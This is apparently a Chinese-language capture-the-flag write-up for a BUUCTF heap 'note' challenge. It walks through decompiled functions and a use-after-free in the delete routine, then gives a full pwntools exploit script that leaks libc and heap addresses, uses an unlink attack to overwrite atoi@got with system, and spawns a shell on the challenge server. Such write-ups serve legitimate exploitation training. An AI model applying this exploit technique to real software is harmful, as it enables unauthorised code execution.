Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
64位,没开pie
在程序开始的时候,建了一个chunk,用于存放申请chunk的指针,size和flag值(检测用)
int ADD()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
void *v4; // [rsp+18h] [rbp-8h]
if ( *(_QWORD *)(BSSPTR + 8) < *(_QWORD *)BSSPTR )
{
for ( i = 0; ; ++i )
{
v0 = *(_QWORD *)BSSPTR;
if ( i >= *(_QWORD *)BSSPTR )
break;
if ( !*(_QWORD *)(BSSPTR + 24LL * i + 16) )
{
printf("Length of new note: ");
v3 = READ();
if ( v3 > 0 )
{
if ( v3 > 4096 )
v3 = 4096;
v4 = malloc((0x80 - v3 % 0x80) % 0x80 + v3);
printf("Enter your note: ");
READ_((__int64)v4, v3);
*(_QWORD *)(BSSPTR + 24LL * i + 16) = 1LL;
*(_QWORD *)(BSSPTR + 24LL * i + 24) = v3;
*(_QWORD *)(BSSPTR + 24LL * i + 32) = v4;
++*(_QWORD *)(BSSPTR + 8);
LODWORD(v0) = puts("Done.");
}
else
{
LODWORD(v0) = puts("Invalid length!");
}
return v0;
}
}
}
else
{
LODWORD(v0) = puts("Unable to create new note.");
}
return v0;
}
add这里,只能申请到最小是0x80大小的chunk,但是在写入content的时候,必须写满
int DELE()
{
int v1; // [rsp+Ch] [rbp-4h]
if ( *(__int64 *)(BSSPTR + 8) <= 0 )
return puts("No notes yet.");
printf("Note number: ");
v1 = READ();
if ( v1 < 0 || v1 >= *(_QWORD *)BSSPTR )
return puts("Invalid number!");
--*(_QWORD *)(BSSPTR + 8);
*(_QWORD *)(BSSPTR + 24LL * v1 + 16) = 0LL;
*(_QWORD *)(BSSPTR + 24LL * v1 + 24) = 0LL;
free(*(void **)(BSSPTR + 24LL * v1 + 32));
return puts("Done.");
}
dele这里有个uaf,用于存放chunk的指针没有置零
int sub_400D87()
{
__int64 v1; // rbx
int v2; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]
printf("Note number: ");
v3 = READ();
if ( v3 < 0 || v3 >= *(_QWORD *)BSSPTR || *(_QWORD *)(BSSPTR + 24LL * v3 + 16) != 1LL )
return puts("Invalid number!");
printf("Length of note: ");
v2 = READ();
if ( v2 <= 0 )
return puts("Invalid length!");
if ( v2 > 4096 )
v2 = 4096;
if ( v2 != *(_QWORD *)(BSSPTR + 24LL * v3 + 24) )
{
v1 = BSSPTR;
*(_QWORD *)(v1 + 24LL * v3 + 32) = realloc(*(void **)(BSSPTR + 24LL * v3 + 32), (128 - v2 % 128) % 128 + v2);
*(_QWORD *)(BSSPTR + 24LL * v3 + 24) = v2;
}
printf("Enter your note: ");
READ_(*(_QWORD *)(BSSPTR + 24LL * v3 + 32), (unsigned int)v2);
return puts("Done.");
}
edit这里,正常修改就可
int SHOW()
{
__int64 v0; // rax
unsigned int i; // [rsp+Ch] [rbp-4h]
if ( *(__int64 *)(BSSPTR + 8) <= 0 )
{
LODWORD(v0) = puts("You need to create some new notes first.");
}
else
{
for ( i = 0; ; ++i )
{
v0 = *(_QWORD *)BSSPTR;
if ( (int)i >= *(_QWORD *)BSSPTR )
break;
if ( *(_QWORD *)(BSSPTR + 24LL * (int)i + 16) == 1LL )
printf("%d. %s\n", i, *(const char **)(BSSPTR + 24LL * (int)i + 32));
}
}
return v0;
}
show这里的话,会通过flag值是否show,
使用show函数泄露libc和heap地址,然后unlink
改got,atoi@got – > system – > /bin/sh
from pwn import*
from Yapack import *
libc=ELF('libc-2.23.so')
r,elf=rec("node4.buuoj.cn",26703,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')
add(0x80,b'a'*0x80)
add(0x80,b'a'*0x80)
add(0x80,b'a'*0x80)
add(0x10,b'a'*0x10)
dele(0)
dele(2)
#这里是为了防止堆合并,用于泄露libc和heapbase
add(0x8,b'a'*0x8)
add(0x8,b'b'*0x8)
show()
ru(b'a'*8)
heap=u64(r.recv(3).ljust(8,b'\x00'))-0x1940+0x30
leak=get_addr_u64()-88-0x10-mallochook()
sys=p64(system(leak))
li(heap)
li(leak)
dele(0)
dele(1)
dele(2)
dele(3)
#debug()
pl=p64(0)+p64(0x110)+p64(heap-0x18)+p64(heap-0x10)
add(len(pl),pl)
pl=b'a' * 0x80 + p64(0x110) + p64(0x90) + b'A' * 0x80 + p64(0) + p64(0x91) + b'a' * 0x80
add(len(pl),pl)
#这里看下面图图,利用uaf和unlink,进入到chunk1,改指针了,改got
dele(2)
pl=b'a' * 8 + p64(1) + p64(8) + p64(elf.got['atoi'])
edit(0,len(pl),pl)
li(leak)
edit(0,len(sys),sys)
sl(b'/bin/sh\x00')
#debug()
ia()